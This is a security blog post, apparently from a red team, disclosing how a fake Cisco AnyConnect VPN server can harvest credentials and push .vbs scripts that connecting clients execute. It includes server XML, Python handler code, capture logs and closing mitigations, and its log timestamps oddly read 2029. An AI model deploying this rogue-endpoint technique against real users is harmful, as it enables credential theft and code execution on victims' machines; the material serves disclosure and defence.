The Cisco AnyConnect client has received a fair amount of scrutiny from the security community over the years, with a particular focus on leveraging the vpnagent.exe service for privilege escalation. A while ago, we started to look at whether AnyConnect could be used to deliver payloads during red team engagements and having used the technique successfully, it seemed appropriate to make the technique public.
TL;DR – the tool release can be found at:
https://github.com/nccgroup/DroppedConnection
Most users are familiar with the concept of a VPN due to the increase in working-from-home, and how to make a VPN connection from their laptop (or at least knowing the software/icon that relates to the VPN connection). This increases odds on successful social engineering efforts using a VPN related pretext – users know what it is and can be walked through performing desired actions and more importantly, they need it so that they can continue working remotely.
The function that the VPN provides means that we can assume a few things to be aware of when considering as a vector for payload deployment:
A new VPN connection is initiated from the vpnui.exe process by supplying a fully qualified domain name:
After the initial TLS handshake is complete, the VPN server sends an XML response, detailing the name of the VPN and the supported authentication methods. The example below shows a VPN name of TEST-VPN and that the server expects a username and password:
<?xml version="1.0" encoding="UTF-8"?>
<config-auth client="vpn" type="auth-request" aggregate-auth-version="2">
<opaque is-for="sg">
<tunnel-group>VPN</tunnel-group>
<aggauth-handle>864640002</aggauth-handle>
<auth-method>multiple-cert</auth-method>
<auth-method>single-sign-on</auth-method>
<group-alias>TEST-VPN</group-alias>
<config-hash>1517719014268</config-hash>
</opaque>
<auth id="main">
<form>
<input type="text" name="username" label="Username:"></input>
<input type="password" name="password" label="Password:"></input>
<select name="group_list" label="GROUP:">
<option selected="true">TEST-VPN</option>
</select>
</form>
</auth>
</config-auth>
The content of this XML response determines the appearance of the prompt for authentication, with the two main choices being:
In this scenario, we’ll focus on the standard username and password window that the XML above would cause to be displayed.
Credentials entered into this resulting window are sent to the VPN server in the body of a POST request. Assuming authentication is successful, the response contains information relating to:
An example of this XML can be seen below:
<?xml version="1.0" encoding="UTF-8"?>
<config-auth client="vpn" type="complete" aggregate-auth-version="2">
<session-id>101111</session-id>
<session-token>[email protected]@[email protected]</session-token>
<auth id="success">
<message id="0" param1="" param2=""></message>
</auth>
<capabilities>
<crypto-supported>ssl-dhe</crypto-supported>
</capabilities>
<config client="vpn" type="private">
<vpn-base-config>
<base-package-uri>/CACHE/stc/1</base-package-uri>
<server-cert-hash>###SERVERCERT###</server-cert-hash>
</vpn-base-config>
<opaque is-for="vpn-client"><service-profile-manifest>
<ServiceProfiles rev="1.0">
<Profile service-type="user">
<FileName></FileName>
<FileExtension>xml</FileExtension>
<Directory></Directory>
<DeployDirectory></DeployDirectory>
<Description>AnyConnect VPN Profile</Description>
<DownloadRemoveEmpty>false</DownloadRemoveEmpty>
</Profile>
<---REMOVED--->
</ServiceProfiles>
</service-profile-manifest>
<vpn-client-pkg-version>
<pkgversion>4,9,04053</pkgversion>
</vpn-client-pkg-version>
<vpn-core-manifest>
<vpn rev="1.0">
<file version="4.9.04053" id="VPNCore" is_core="yes" type="msi" action="install" os="win:6.1.7601">
<uri>binaries/anyconnect-win-4.9.04053-core-vpn-webdeploy-k9.msi</uri>
<display-name>AnyConnect Secure Mobility Client</display-name>
</file>
<---REMOVED--->
</vpn>
</vpn-core-manifest>
</opaque>
<vpn-profile-manifest>
<vpn rev="1.0">
<file type="profile" service-type="user">
<uri>/CACHE/stc/profiles/profile_test.xml</uri>
<hash type="sha1">###PROFILEHASH###</hash>
</file>
</vpn>
</vpn-profile-manifest>
<vpn-customization-manifest>
<vpn rev="1.0">
<file app="AnyConnect" platform="win" type="binary">
<filename>scripts_OnDisconnect.vbs</filename>
<hash type="sha1">###VBSHASH###</hash>
<file app="AnyConnect" platform="win" type="binary">
<filename>scripts_OnConnect.vbs</filename>
<hash type="sha1">###VBSHASHTWO###</hash>
</file>
</file>
</vpn>
</vpn-customization-manifest>
</config>
</config-auth>
The .vbs files referenced in the customisation section are downloaded following the delivery of this XML and then executed as the authenticated user upon a successful connection being established and then terminated respectively. Usable file types are not restricted to .vbs but this (along with .bat) appears to be the most commonly used.
Finally, the referenced profile is requested by the VPN client and returned by the server. This also has an XML structure and determines which usability and security features should be enabled for the connection. This is an important as it allows any restrictions imposed by the user’s regular VPN profile to be overridden, for example to permit script execution.
So what we can take from this is that the VPN server is able to execute arbitrary code on any connecting client, which sounds like something that would be useful for initial access into an environment.
Research into the initial communications between the AnyConnect client and the VPN server was carried out using a legitimate Cisco ASA. In theory, it would be possible to spin up an ASA instance in a cloud provider and serve scripts to any user that connects to it, although this has some obvious drawbacks:
With this is mind, an old python web server script was dusted off and modified to respond to the series of requests that the AnyConnect client was expecting. Initial results were promising, showing that it was trivial to capture the username and password.
Sending INIT
192.168.1.30 - - [11/Jul/2029 13:37:37] "POST / HTTP/1.1" 200 -
Unknown request
2029-07-11 13:37:59.378749 :
=====================
User: vpnuser
Password: mypassword
=====================
Sending auth reply
Assuming the user enters the correct credentials, you can then relay these manually to the endpoint, or automate connectivity with the use of vpncli.exe, or OpenConnect. Or if it’s domain credentials, you can save the creds for later use.
If successful you have just got yourself a VPN session via a host which you’ve got pre-configured with all the tooling you want, not needing to be concerned about any on-host telemetry sources which a target blue team would have in the instance of a beacon, and also no worrying about C2 traffic being detected or not getting out of the network.
However, there are many factors that could prevent the relay of credentials from being successful:
It seemed logical to extend the script to continue responding to the VPN client’s requests with a valid profile and the supporting script files and at the same time, automate the generation of the various file hashes that the client used to check whether the profile and .vbs files had not been modified in transit.
Attempting a connection against the modified script showed the request for the OnDisconnect.vbs file that was referenced in the profile.
Sending INIT
192.168.1.30 - - [11/Jul/2029 13:37:37] "POST / HTTP/1.1" 200 -
Unknown request
2029-07-11 13:37:59.378749 :
=====================
User: vpnuser
Password: mypassword
=====================
Sending auth reply
Replacing certificate thumbprint with: 273E4E1B10E0489D8762EAD30C088185DDB0B16B
Replacing profile hash with: 32E35124209FF5014768600B0F7375D61069C39D
Replacing VBS hash with: 249898741379D651195EA32993B227D933C46ECB
/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=win&resource-type=binary&name=scripts_OnDisconnect.vbs
However, the connection did not complete and the script was never invoked. Inspection of the traffic showed that the VPN client was sending a HTTP CONNECT request that the script was not configured to reply to. With a legitimate connection as a reference, a handler for the CONNECT verb was introduced.
def do_CONNECT(self):
print "Handling CONNECT for " + self.path
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
if self._connect_to("127.0.0.1:9999", soc):
self.wfile.write("HTTP/1.1 200 OK\r\n")
self.wfile.write("X-CSTP-Version: 1\r\n")
self.wfile.write("X-CSTP-Protocol: Copyright (c) 2004 Cisco Systems, Inc.\r\n")
self.wfile.write("X-CSTP-Address: 192.168.1.128\r\n")
self.wfile.write("X-CSTP-Netmask: 255.255.255.0\r\n")
self.wfile.write("X-CSTP-Hostname: 192.168.1.159\r\n")
self.wfile.write("X-CSTP-Lease-Duration: 1209600\r\n")
self.wfile.write("X-CSTP-Session-Timeout: none\r\n")
self.wfile.write("X-CSTP-Session-Timeout-Alert-Interval: 60\r\n")
self.wfile.write("X-CSTP-Session-Timeout-Remaining: none\r\n")
self.wfile.write("X-CSTP-Idle-Timeout: 1800\r\n")
self.wfile.write("X-CSTP-DNS: 8.8.8.8\r\n")
self.wfile.write("X-CSTP-Disconnected-Timeout: 1800\r\n")
self.wfile.write("X-CSTP-Split-Include: 192.168.59.0/255.255.255.0\r\n")
self.wfile.write("X-CSTP-Keep: false\r\n")
self.wfile.write("X-CSTP-Tunnel-All-DNS: false\r\n")
self.wfile.write("X-CSTP-DPD: 30\r\n")
self.wfile.write("X-CSTP-Keepalive: 20\r\n")
self.wfile.write("X-CSTP-MSIE-Proxy-Lockdown: false\r\n")
self.wfile.write("X-CSTP-Smartcard-Removal-Disconnect: true\r\n")
self.wfile.write("X-DTLS-Session-ID: 456F8991F6A915202E1EF2BCE7DC22F2C6791C806311F7CC93E551E97DC1222D\r\n")
self.wfile.write("X-DTLS-Port: 80\r\n")
self.wfile.write("X-DTLS-Keepalive: 20\r\n")
self.wfile.write("X-DTLS-DPD: 30\r\n")
self.wfile.write("X-CSTP-MTU: 1367\r\n")
self.wfile.write("X-DTLS-MTU: 1390\r\n")
self.wfile.write("X-DTLS12-CipherSuite: ECDHE-RSA-AES256-GCM-SHA384\r\n")
self.wfile.write("X-CSTP-Routing-Filtering-Ignore: false\r\n")
self.wfile.write("X-CSTP-Quarantine: false\r\n")
self.wfile.write("X-CSTP-Disable-Always-On-VPN: false\r\n")
self.wfile.write("X-CSTP-Client-Bypass-Protocol: false\r\n")
self.wfile.write("X-CSTP-TCP-Keepalive: false")
self.end_headers()
self.wfile.write("\r\n")
self._read_write(soc, 300)
finally:
soc.close()
self.connection.close()
To provide something to attempt to CONNECT to, a basic socket was also opened:
def loopbacksocket():
socksize = 1024
sock = socket.socket()
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(("127.0.0.1",9999))
sock.listen(1)
print "Started loopback listener for CONNECT"
while True:
print("Now listening...\n")
conn, addr = sock.accept()
print 'New connection from %s:%d' % (addr[0], addr[1])
data = conn.recv(socksize)
conn.close()
Re-attempting the connection showed the VPN client briefly show a ‘connected’ status and then immediately disconnect, which was long enough to spawn a wscript.exe process and run our .vbs file.
The content of the VBS file is a separate exercise. As previously stated, execution is in the context of the authenticated user but unless a delay or additional checks are put in place, the code is likely to be run before the target has connected back up to their normal VPN.
So to summarise, what we end up with here is a VPN endpoint that will accept any credentials, log them and then serve a script file that is run in the context of the authenticated user.
https://github.com/nccgroup/DroppedConnection
Of course, it is important to show how this attack can be prevented or detected.
Prevent Alternative VPN Endpoints
If users typically only connect to one VPN endpoint, the option to manually specify an alternative can be removed by specifying the following setting in the profile:
<AllowManualHostInput>false</AllowManualHostInput>
Strong AppLocker Policies
A stringent AppLocker policy is a great addition to any environment. In the configuration described above, the .vbs script is launched via a wscript.exe process; if this had been blocked by AppLocker, the code execution would have failed. It’s worth noting though that AnyConnect will execute a variety of different file formats, so blocking unknown executables or common LOLBINs is advised.
Host-based/Process Firewalling
Again, worthy general recommendation but in this instance it could be used to block connections from the following processes to anything other than the expected VPN endpoints:
Post and tool written by David Cash and Julian Storr